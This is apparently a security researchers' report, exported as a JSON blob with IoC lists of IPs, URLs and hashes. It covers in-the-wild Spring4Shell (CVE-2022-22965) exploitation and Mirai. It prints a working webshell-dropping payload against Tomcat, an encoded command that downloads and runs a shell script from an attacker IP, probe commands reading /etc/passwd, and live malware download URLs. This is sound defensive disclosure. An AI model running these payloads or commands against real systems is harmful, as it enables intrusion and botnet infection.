185.220.101.39 The Netherlands AS208294 RELAYON
185.220.101.40 The Netherlands AS208294 RELAYON
185.220.101.41 The Netherlands AS208294 RELAYON
185.220.101.42 The Netherlands AS208294 RELAYON
185.220.101.43 The Netherlands AS208294 RELAYON
185.220.101.44 The Netherlands AS208294 RELAYON
185.220.101.45 The Netherlands AS208294 RELAYON
185.220.101.46 The Netherlands AS208294 RELAYON
185.220.101.47 The Netherlands AS208294 RELAYON
185.220.101.48 The Netherlands AS208294 RELAYON
185.220.101.49 The Netherlands AS208294 RELAYON
185.220.101.50 The Netherlands AS208294 RELAYON
185.220.101.51 The Netherlands AS208294 RELAYON
185.220.101.52 The Netherlands AS208294 RELAYON
185.220.101.53 The Netherlands AS208294 RELAYON
185.220.101.54 The Netherlands AS208294 RELAYON
185.220.101.55 The Netherlands AS208294 RELAYON
185.220.101.56 The Netherlands AS208294 RELAYON
185.220.101.57 The Netherlands AS208294 RELAYON
185.220.101.58 The Netherlands AS208294 RELAYON
185.220.101.59 The Netherlands AS208294 RELAYON
185.220.101.60 The Netherlands AS208294 RELAYON
185.220.101.61 The Netherlands AS208294 RELAYON
185.220.101.62 The Netherlands AS208294 RELAYON
185.220.101.63 The Netherlands AS208294 RELAYON
185.220.102.240 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.245 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.249 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.254 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.103.7 United States AS4224 CALYX-AS
185.226.67.169 Greece AS205053 Aweb-ASN
185.243.218.27 Norway AS56655 TERRAHOST
185.246.188.95 Belgium AS3164 ASTIMP-IT
185.247.226.98 Iceland AS200651 FlokiNET
185.254.75.32 Germany AS3214 XTOM
188.68.58.0 Germany AS197540 netcup-AS
192.42.116.23 The Netherlands AS1101 IP-EEND-AS
193.31.24.154 Germany AS197540 netcup-AS
193.110.95.34 Switzerland AS13030 INIT7
193.111.199.64 Germany AS24961 MYLOC-AS
193.218.118.95 Ukraine AS207656 EPINATURA
193.218.118.183 Ukraine AS207656 EPINATURA
193.218.118.231 Ukraine AS207656 EPINATURA
194.31.98.186 The Netherlands AS213035 AS-SERVERION
194.233.77.245 Singapore AS141995 CAPL-AS-AP
195.176.3.19 Switzerland AS559 SWITCH
195.176.3.23 Switzerland AS559 SWITCH
198.54.128.102 United States AS11878 TZULO
198.98.51.189 United States AS53667 PONYNET
198.98.57.207 United States AS53667 PONYNET
198.144.121.43 The Netherlands AS206264 AMARUTU-TECHNOLOGY
199.195.248.29 United States AS53667 PONYNET
199.195.254.81 United States AS53667 PONYNET
199.249.230.87 United States AS62744 QUINTEX
203.175.13.118 China AS141677 NATHOSTS-AS-AP
204.8.156.142 United States AS10961 BGP-AS
205.185.117.149 United States AS53667 PONYNET
205.185.124.178 United States AS53667 PONYNET
209.141.41.103 United States AS53667 PONYNET
209.141.44.64 United States AS53667 PONYNET
209.141.45.189 United States AS53667 PONYNET
209.141.46.81 United States AS53667 PONYNET
209.141.46.203 United States AS53667 PONYNET
209.141.54.195 United States AS53667 PONYNET
209.141.55.26 United States AS53667 PONYNET
209.141.57.178 United States AS53667 PONYNET
209.141.58.146 United States AS53667 PONYNET
209.141.60.19 United States AS53667 PONYNET
210.217.18.88 South Korea AS4766 KIXS-AS-KR
211.20.42.23 China AS3462 HINET
212.107.30.157 China AS41378 KirinoNET
213.61.215.54 Germany AS8220 COLT
213.164.204.146 Sweden AS8473 BAHNHOF
217.138.199.93 Czech Republic AS9009 M247
URL
http://107.174.133.167/gmpsl
http://107.174.133.167/gi686
http://107.174.133.167/garm
http://107.174.133.167/gmips
http://107.174.133.167/garm7
http://107.174.133.167/gx86
http://107.174.133.167/t.sh
http://107.174.133.167/garm6
http://107.174.133.167/garm5
http://15.185.213.122:65123/javac
http://15.185.213.122:65123
base64://be3f78b59fa14140b6cc8633bf705a75
http://15.185.213.122:65123/java
base64://c08fec5682085417b0a039bdf47c38f2
MD5
4bcd19351697d04fb357ce5b36600207
7d244e7bf48d6631b588cecae87e759d
9c14d670a48bba4b7c047a01d417f8f2
97a7a357b8290a7236a5fbf45f17569f
7621f1a5e8db18f3ae30031122c9c397
100674f1e3ecfb6fa244de4ba7fd2ae2
329155ab45e244661a7725d81dfad740
611630a580e33017be32de8c72625489
650152a2fe78dfceceb4d1a1fdeaccb8
400590515f0f1cf942fe734126be94e7
a8a36132632366c7f65066b23d6f7e4f
b1124c862998bc4ab3ff8b1d471310a6
cca63413e3ca6b834b6a4446768c5ccb
dcc157b2c284ac676000d64dd33f3ec4
e1190f07a6da91caaa317affc9512caa
eba95249cf0a51e300d7b6029cf7088e
fb63e9a23dbf4124116471fcf3254283
fd839753ca4d89c0ccd229b12f95827c
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2022年3月31号,Spring针对Spring4Shell漏洞(CVE-2022-22965)事件发布了安全公告[[1\\]](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement),并提供了漏洞修复程序,此次漏洞事件在安全社区引起广泛关注。\n\n360网络安全研究院高级威胁狩猎蜜罐系统[[2\\]](https://netlab.360.com/zh/honeypot)通过被动监测方式看到了该漏洞在野传播过程,我们也看到了Mirai僵尸网络入场,相关在野漏洞攻击威胁情报已通过自动化形式输出。\n\n\n### Spring4Shell 在野传播\n360网络安全研究院高级威胁狩猎蜜罐系统持续监测到Spring4Shell漏洞(CVE-2022-22965)扫描和漏洞利用行为,部分源IP地理位置分布如下:\n<a href=\"__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png\"><img src=\"__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png\" class=\"kg-image\"/></a>\n\n以下是Top 10 国家/地区统计列表\n```\nUnited States 92\nThe Netherlands 49\nGermany 30\nChina 21\nFrance 6\nLuxembourg 6\nSweden 6\nSwitzerland 5\nUkraine 5\nAustria 4\n```\n\n我们监测到大量Webshell和测试文件的上传行为,相应文件信息如下所示:\n<a href=\"__GHOST_URL__/content/images/2022/04/webshell.png\"><img src=\"__GHOST_URL__/content/images/2022/04/webshell.png\" class=\"kg-image\"/></a>\n\n部分在野漏洞利用命令信息如下所示:\n```\necho%20ddfdsfasdfasd\necho%20fdsafasdfasd\necho%202222222\nls\nls%20/tmp/\nwhoami\n%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27 \ncat+/etc/passwd \nchdir \ncmd /c dir \ncmd /c net user \ncurl+http://111.4vcrkb.dnslog.cn/1.jpg \ncurl+http://12121.4vcrkb.dnslog.cn/1.jpg \ncurl+http://35456.4vcrkb.dnslog.cn/1.jpg \ndir \necho \necho 8888888888 \necho %USERNAME% \necho %computername% \necho </xss> \necho fucker_test_test \necho rinima \necho%20%3Csvg%20onload=confirm`xss`%3E \necho%20%3Csvg%20onload=confirm`xsssssss`%3E \necho%20ddfdsfasdfasd \necho%20fdsafasdfasd \necho%202222222 \necho+22222 \necho+`whoami` \necho+whoami \nexp\nid \nifconfig \nls \nls%20/tmp/ \nping -n 2 uup0fk.dnslog.cn \nping uup0fk.dnslog.cn \nuname \nwhoami \nwhoami%0A \n```\n\n### Spring4Shell 漏洞分析\nSpring4Shell漏洞(CVE-2022-22965)是在JDK 9版本及以上新增module特性后导致的,并且是针对CVE-2010-1622漏洞补丁的绕过。 \n\n#### CVE-2010-1622 漏洞分析\nCVE-2010-1622漏洞是Spring Bean的CachedIntrospectionResults类在调用java.beans.Introspector.getBeanInfo()枚举属性赋值时,没有指定stop类,导致父类(Object.class是任何java对象的父类)属性可被攻击者恶意控制。\n\nSpring参数绑定支持用户提交表单以 参数=值 的形式进行对象赋值,同时user.address.street=Disclosure+Str等价于frmObj.getUser().getAddress().setStreet(\"Disclosure Str.\")。因此可通过user.address.street=Disclosure+Str的方式给PropertyDescriptor[]中的第一个class属性赋值。如通过classLoader控制class属性,进而构造利用链。\n\n**漏洞补丁**\nSpring通过将classLoader加入属性数组黑名单的方式修补漏洞。\n<a href=\"__GHOST_URL__/content/images/2022/04/patch.png\"><img src=\"__GHOST_URL__/content/images/2022/04/patch.png\" class=\"kg-image\"/></a>\n\n\n#### CVE-2022-22965 漏洞分析\n在参数绑定过程中,包含class属性,与CVE-2010-1622漏洞问题类似:\n<a href=\"__GHOST_URL__/content/images/2022/04/class.png\"><img src=\"__GHOST_URL__/content/images/2022/04/class.png\" class=\"kg-image\"/></a>\n\n\nCVE-2022-22965是CVE-2010-1622补丁的绕过,在JDK11+Tomcat8.5.77+spring-webmvc5.3.17版本中,调试发现通过class.module.classLoader.*可以加载ParallelWebappClassLoader绕过黑名单对classLoader的检测:\n<a href=\"__GHOST_URL__/content/images/2022/04/classloader.png\"><img src=\"__GHOST_URL__/content/images/2022/04/classloader.png\" class=\"kg-image\"/></a>\n\n\n在野Payload:\n```\nclass.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222\n```\n\npattern指定日志记录的格式,suffix指定日志记录的后缀为.jsp,directory指定日志保存的目录webapps/ROOT,prefix指定文件名tomcatwar,fileDateFormat指定日志文件名日期格式,上述payload通过Tomcat的class AbstractAccessLogValve修改了日志的存储格式、目录和文件名,实现了Webshell的上传。\n\n**漏洞补丁**\n新增了严格的黑名单限制\n<a href=\"__GHOST_URL__/content/images/2022/04/patch1.png\"><img src=\"__GHOST_URL__/content/images/2022/04/patch1.png\" class=\"kg-image\"/></a>\n\n\n### Mirai僵尸网络\n我们看到Mirai僵尸网络很快入场,相关配置信息解密如下所示:\n```\n [0x01]: \"46.175.146.159\\x00\", size=15\n [0x02]: \"A\\x84\", size=2\n [0x03]: \"D\\xfd\", size=2\n [0x04]: \"U better back the fuck off CIANigger >>>---<3-->\\x00\", size=49\n [0x05]: \"shell\\x00\", size=6\n [0x06]: \"enable\\x00\", size=7\n [0x07]: \"system\\x00\", size=7\n [0x08]: \"sh\\x00\", size=3\n [0x09]: \"/bin/busybox DEMONS\\x00\", size=20\n [0x0a]: \"DEMONS: applet not found\\x00\", size=25\n [0x0b]: \"ncorrect\\x00\", size=9\n [0x0c]: \"/bin/busybox ps\\x00\", size=16\n [0x0d]: \"assword\\x00\", size=8\n [0x0e]: \"ogin\\x00\", size=5\n [0x0f]: \"enter\\x00\", size=6\n [0x10]: \"/proc/\\x00\", size=7\n [0x11]: \"/exe\\x00\", size=5\n [0x12]: \"/fd\\x00\", size=4\n [0x13]: \"/maps\\x00\", size=6\n [0x14]: \"/proc/net/tcp\\x00\", size=14\n [0x15]: \"/etc/resolv.conf\\x00\", size=17\n [0x16]: \"nameserver\\x00\", size=11\n [0x17]: \"Pully\\x13SHD\\x1aiIGK\\x1cDig\\x13\\x18}Bfpc]MkGp^b\\x12[}P\\x1b\\\\~m`b`^rc\\x13Xeg\\x13G\\x1a\\x12z*\", size=57\n [0x18]: \"i586\\x00\", size=5\n [0x19]: \"i486\\x00\", size=5\n [0x1a]: \"x86\\x00\", size=4\n [0x1b]: \"i686\\x00\", size=5\n [0x1c]: \"mips\\x00\", size=5\n [0x1d]: \"mipsel\\x00\", size=7\n [0x1e]: \"mpsl\\x00\", size=5\n [0x1f]: \"sh4\\x00\", size=4\n [0x20]: \"superh\\x00\", size=7\n [0x21]: \"ppc\\x00\", size=4\n [0x22]: \"powerpc\\x00\", size=8\n [0x23]: \"spc\\x00\", size=4\n [0x24]: \"sparc\\x00\", size=6\n [0x25]: \"(deleted)\\x00\", size=10\n [0x26]: \"abcdefghijklmnopqrstuvwxyz\\x00\", size=27\n [0x27]: \"%d.%d.%d.%d\\x00\", size=12\n [0x28]: \"POST /cdn-cgi/\\x00\", size=15\n [0x29]: \"UPX!\\x00\", size=5\n [0x2a]: \"botnet\\x00\", size=7\n [0x2b]: \"ddos\\x00\", size=5\n [0x2c]: \"oginenterassword\\x00\", size=17\n [0x2d]: \"GET/ HTTP/1.1\\x00\", size=15\n [0x2e]: \"garm\\x00\", size=5\n [0x2f]: \"gx86\\x00\", size=5\n [0x30]: \"gmips\\x00\", size=6\n [0x31]: \"gmpsl\\x00\", size=6\n [0x32]: \"gsh4\\x00\", size=5\n [0x33]: \"gspc\\x00\", size=5\n [0x34]: \"gppc\\x00\", size=5\n [0x35]: \"gsec\\x00\", size=5\n [0x36]: \".glm\\x00\", size=5\n [0x37]: \"cronx86\\x00\", size=8\n [0x38]: \"cronarm\\x00\", size=8\n [0x39]: \"cronmips\\x00\", size=9\n [0x3a]: \"cronmpsl\\x00\", size=9\n [0x3b]: \"cronsh4\\x00\", size=8\n [0x3c]: \"cronspc\\x00\", size=8\n [0x3d]: \"cronppc\\x00\", size=8\n [0x3e]: \"cronsh\\x00\", size=7\n [0x3f]: \"gi686\\x00\", size=6\n [0x40]: \"/dev/watchdog\\x00\", size=14\n [0x41]: \"/dev/misc/watchdog\\x00\", size=19\n [0x42]: \"/dev/FTWDT101_watchdog\\x00\", size=23\n [0x43]: \"/dev/FTWDT101 watchdog\\x00\\x12\", size=24\n [0x44]: \"/dev/watchdog0\\x00\", size=15\n [0x45]: \"/etc/default/watchdog\\x00\", size=22\n [0x46]: \"/sbin/watchdog\\x00\", size=15\n```\n\n#### Webshell和测试文件列表\n| filepath | count |\n| ---- | ---- |\n|/tmp/log222.txt|3973|\n|webapps/ROOT/log111.txt|2051|\n|webapps/ROOT/tomcatwar.jsp|110|\n|webapps/ROOT/wpz.jsp|27|\n|/../webapps/ROOT/logout.jsp|12|\n|./webapps/ROOT/test2%20%20.txt|9|\n|webapps/ROOT/log101.txt|7|\n|/log_data_9.jsp|3|\n|webapps/ROOT/xiaozhan.jsp|3|\n|webapps/ROOT/1122.jsp|3|\n|webapps/ROOT/0985763860781234.jsp|3|\n|/2023.jsp|3|\n|webapps/ROOT/zhuzhuxias.jsp|3|\n|webapps/ROOT/log147.txt|2|\n|webapps/ROOT/aaa69875.jsp|1|\n|webapps/ROOT/log186.txt|1|\n|webapps/ROOT/aaa36917.jsp|1|\n|webapps/ROOT/member3war.jsp|1|\n|webapps/ROOT/aaa96225.jsp|1|\n|webapps/ROOT/log154.txt|1|\n|webapps/ROOT/log103.txt|1|\n|webapps/ROOT/log176.txt|1|\n|webapps/ROOT/7FMNZ.jsp|1|\n|webapps/ROOT/aaa28643.jsp|1|\n|webapps/ROOT/aaa49231.jsp|1|\n|webapps/ROOT/aaa50586.jsp|1|\n|webapps/ROOT/log112.txt|1|\n|webapps/ROOT/log110.txt|1|\n|webapps/ROOT/aaa80751.jsp|1|\n|/2021.jsp|1|\n|webapps/ROOT/aaa10854.jsp|1|\n|webapps/ROOT/log105.txt|1|\n|webapps/ROOT/aaa93089.jsp|1|\n|webapps/ROOT/35456.jsp|1|\n|webapps/ROOT/log182.txt|1|\n|webapps/ROOT/aaa24348.jsp|1|\n|webapps/ROOT/log131.txt|1|\n|webapps/ROOT/indexbk.jsp|1|\n|webapps/ROOT/log149.txt|1|\n|webapps/ROOT/log179.txt|1|\n|webapps/webappsbak/sxxd1648765386.txt|1|\n|webapps/ROOT/log150.txt|1|\n|Webapps/ROOT/78754.jsp|1|\n|webapps/ROOT/aaa24168.jsp|1|\n|webapps/ROOT/aaa10487.jsp|1|\n|webapps/ROOT/log178.txt|1|\n|webapps/ROOT/lapsus|1|\n|webapps/ROOT/zhuzhuxia.jsp|1|\n|webapps/ROOT/log135.txt|1|\n|webapps/ROOT/aaa40373.jsp|1|\n|webapps/ROOT/qweasd.jsp|1|\n|webapps/ROOT/console.jsp|1|\n|webapps/ROOT/aaa79694.jsp|1|\n|webapps/ROOT/aaa54378.jsp|1|\n|webapps/ROOT/log129.txt|1|\n|webapps/ROOT/pCJrI.jsp|1|\n|webapps/ROOT/log162.txt|1|\n|Webapps/ROOT/7875456457.jsp|1|\n|webapps/ROOT/.jsp|1|\n|webapps/ROOT/log200.txt|1|\n|webapps/ROOT/8888888888.jsp|1|\n|webapps/ROOT/8888888888.txt|1|\n|webapps/ROOT/log128.txt|1|\n|webapps/ROOT/log124.txt|1|\n|webapps/ROOT/aaa14058.jsp|1|\n|webapps/ROOT/aaa94175.jsp|1|\n|webapps/ROOT/conf.jsp|1|\n|webapps/stupidRumor_war/tomcatwar.jsp|1|\n|webapps/ROOT/aaa83816.jsp|1|\n\n### 处置建议\n我们建议Spring用户及时升级漏洞程序,并排查相应Webshell文件路径。\n\n\n### 联系我们\n感兴趣的读者,可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n\n#### IoC List\nMirai C2\n```\n46.175.146.159:16772\n```\n\nIP\n```\n1.85.220.54 \tChina \tAS4134 \tCHINANET-BACKBONE \n3.239.1.141 \tUnited States \tAS14618 \tAMAZON-AES \n5.2.69.50 \tThe Netherlands \tAS60404 \tLiteserver \n14.0.170.249 \tChina \tAS38819 \tHKCSL-AS-AP \n23.128.248.10 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.11 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.12 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.13 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.14 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.15 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.16 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.17 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.19 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.20 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.21 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.22 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.23 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.24 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.25 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.27 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.28 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.29 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.33 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.34 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.38 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.39 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.40 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.41 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.42 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.43 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.44 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.46 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.48 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.50 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.51 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.53 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.54 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.55 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.56 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.57 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.58 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.59 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.60 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.61 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.62 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.63 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.64 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.128.248.65 \tUnited States \tAS398355 \tDATAIDEAS-LLC \n23.129.64.130 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.131 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.132 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.133 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.134 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.135 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.136 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.137 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.138 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.139 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.140 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.141 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.142 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.143 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.145 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.146 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.147 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.148 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.149 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.210 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.211 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.212 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.213 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.214 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.215 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.216 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.217 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.218 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.219 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.250 \tUnited States \tAS396507 \tEMERALD-ONION \n23.154.177.6 \tUnited States \tAS399532 \tULAYER-ASN \n23.154.177.7 \tUnited States \tAS399532 \tULAYER-ASN \n23.239.21.195 \tUnited States \tAS63949 \tLINODE-AP \n27.102.106.117 \tSouth Korea \tAS45996 \tGNJ-AS-KR \n37.187.18.212 \tFrance \tAS16276 \tOVH \n37.187.96.183 \tFrance \tAS16276 \tOVH \n43.128.201.239 \tThailand \tAS132203 \tTENCENT-NET-AP-CN \n43.242.116.54 \tIndia \tAS45916 \tGTPL-AS-AP \n45.15.16.105 \tSweden \tAS42675 \tOBEHOSTING \n45.32.251.86 \tJapan \tAS20473 \tAS-CHOOPA \n45.33.101.246 \tUnited States \tAS63949 \tLINODE-AP \n45.61.186.160 \tUnited States \tAS53667 \tPONYNET \n45.78.48.51 \tJapan \tAS25820 \tIT7NET \n45.128.133.242 \tBelgium \tAS206804 \tEstNOC-GLOBAL \n45.129.56.200 \tDenmark \tAS39351 \tESAB-AS \n45.136.15.239 \tChina \tAS139659 \tLUCID-AS-AP \n45.153.160.2 \tThe Netherlands \tAS212906 \tmoneroj-ca \n45.153.160.132 \tThe Netherlands \tAS212906 \tmoneroj-ca \n45.153.160.136 \tThe Netherlands \tAS212906 \tmoneroj-ca \n45.154.255.138 \tSweden \tAS41281 \tKEFF \n45.154.255.139 \tSweden \tAS41281 \tKEFF \n45.154.255.147 \tSweden \tAS41281 \tKEFF \n46.166.139.111 \tThe Netherlands \tAS43350 \tNFORCE \n46.175.146.159 The Netherlands AS50673 Serverius-as \n46.232.251.191 \tGermany \tAS197540 \tnetcup-AS \n51.15.76.60 \tThe Netherlands \tAS12876 \tAS12876 \n51.77.52.216 \tPoland \tAS16276 \tOVH \n58.82.211.226 \tChina \tAS137872 PEOPLESPHONE-HK \t \n58.240.81.135 \tChina \tAS4837 \tCHINA169-Backbone \n60.248.106.229 \tChina \tAS3462 \tHINET \n62.102.148.68 \tSweden \tAS51815 \tTEKNIKBYRAN \n62.102.148.69 \tSweden \tAS51815 \tTEKNIKBYRAN \n64.113.32.29 \tUnited States \tAS15154 \tSBBSNET \n66.220.242.222 \tUnited States \tAS17356 \tVERMONT-TELE \n74.82.47.194 \tUnited States \tAS6939 \tHURRICANE \n81.17.18.59 \tSwitzerland \tAS51852 \tPLI-AS \n81.17.18.62 \tSwitzerland \tAS51852 \tPLI-AS \n85.93.218.204 \tLuxembourg \tAS9008 \tASN-VO \n85.204.116.204 \tRomania \tAS48874 \tHOSTMAZE \n87.120.37.231 \tBulgaria \tAS34224 \tNETERRA-AS \n89.58.27.84 \tGermany \tAS197540 netcup GmbH \t \n89.163.131.159 \tGermany \tAS24961 \tMYLOC-AS \n89.163.131.160 \tGermany \tAS24961 \tMYLOC-AS \n91.132.147.168 \tGermany \tAS197540 \tnetcup-AS \n91.149.225.172 \tNorway \tAS58110 \tIPVOLUME \n91.211.89.43 \tUkraine \tAS206638 \thostfory \n91.211.89.107 \tUkraine \tAS206638 \thostfory \n91.211.89.207 \tUkraine \tAS206638 \thostfory \n91.250.242.12 \tRomania \tAS6718 \tNAV \n92.246.84.133 \tGermany \tAS44592 \tSkyLink \n93.95.226.212 \tIceland \tAS44925 \tTHE-1984-AS \n93.174.89.132 \tThe Netherlands \tAS202425 \tINT-NETWORK \n93.179.115.27 \tUnited States \tAS25820 \tIT7NET \n94.140.114.210 \tLatvia \tAS43513 \tNANO-AS \n101.37.159.147 \tChina \tAS37963 \tCNNIC-ALIBABA-CN-NET-AP\n103.27.108.196 \tChina \tAS132883 \tTOPWAY-AS-AP \n103.42.196.135 \tIndia \tAS138754 KVBPL-AS-IN \t \n103.42.196.203 \tIndia \tAS138754 KVBPL-AS-IN \t \n103.108.193.24 \tChina \tAS139021 \tWEST263GO-HK \n103.140.186.68 \tSingapore \tAS206804 \tEstNOC-GLOBAL \n103.140.186.72 \tSingapore \tAS206804 \tEstNOC-GLOBAL \n103.140.186.73 \tSingapore \tAS206804 \tEstNOC-GLOBAL \n103.214.146.5 \tChina \tAS135330 \tADCDATACOM-AS-AP \n103.253.41.98 \tChina \tAS133398 \tTELE-AS \n104.244.72.115 \tLuxembourg \tAS53667 \tPONYNET \n104.244.76.13 \tLuxembourg \tAS53667 \tPONYNET \n104.244.76.44 \tLuxembourg \tAS53667 \tPONYNET \n104.244.76.170 \tLuxembourg \tAS53667 \tPONYNET \n104.244.77.101 \tLuxembourg \tAS53667 \tPONYNET \n107.189.5.249 \tLuxembourg \tAS53667 \tPONYNET \n109.70.100.19 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.70.100.31 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.70.100.82 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.70.100.84 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.201.133.100 \tThe Netherlands \tAS43350 \tNFORCE \n111.252.183.41 \tChina \tAS3462 \tHINET \n111.252.198.28 \tChina \tAS3462 \tHINET \n112.5.154.7 \tChina \tAS9808 \tCMNET-GD \n112.36.205.252 \tChina \tAS24444 \tCMNET-V4shandong-AS-AP\n112.169.175.24 \tSouth Korea \tAS131477 \tSHHJ-AS \n119.86.148.176 \tChina \tAS4134 \tCHINANET-BACKBONE \n124.222.23.106 \tChina \tAS45090 \tCNNIC-TENCENT-NET-AP\n128.31.0.13 \tUnited States \tAS3 \tMIT-GATEWAYS \n141.164.43.95 \tSouth Korea \tAS20473 \tAS-CHOOPA \n142.4.206.84 \tCanada \tAS16276 \tOVH \n143.198.131.158 \tUnited States \tAS14061 \tDIGITALOCEAN-ASN \n144.172.73.66 \tUnited States \tAS212513 \tSTELZL-AS \n144.202.116.138 \tUnited States \tAS20473 \tAS-CHOOPA \n144.217.86.109 \tCanada \tAS16276 \tOVH \n146.19.174.33 \tChina \tAS147293 \tNEAROUTE-AS-AP \n146.59.233.33 \tFrance \tAS16276 \tOVH \n151.80.148.159 \tFrance \tAS16276 \tOVH \n159.223.73.101 \tSingapore \tAS14061 \tDIGITALOCEAN-ASN \n162.247.74.7 \tUnited States \tAS4224 \tCALYX-AS \n164.92.65.110 \tUnited States \tAS14061 \tDIGITALOCEAN-ASN \n164.132.9.199 \tFrance \tAS16276 \tOVH \n166.70.207.2 \tUnited States \tAS6315 \tXMISSION \n167.71.238.228 \tIndia \tAS14061 \tDIGITALOCEAN-ASN \n167.99.76.46 \tSingapore \tAS14061 \tDIGITALOCEAN-ASN \n168.62.22.238 \tUnited States \tAS8075 \tMICROSOFT-CORP-MSN-AS-BLOCK\n171.25.193.20 \tGermany \tAS198093 \tDFRI-AS \n171.25.193.25 \tGermany \tAS198093 \tDFRI-AS \n171.25.193.77 \tGermany \tAS198093 \tDFRI-AS 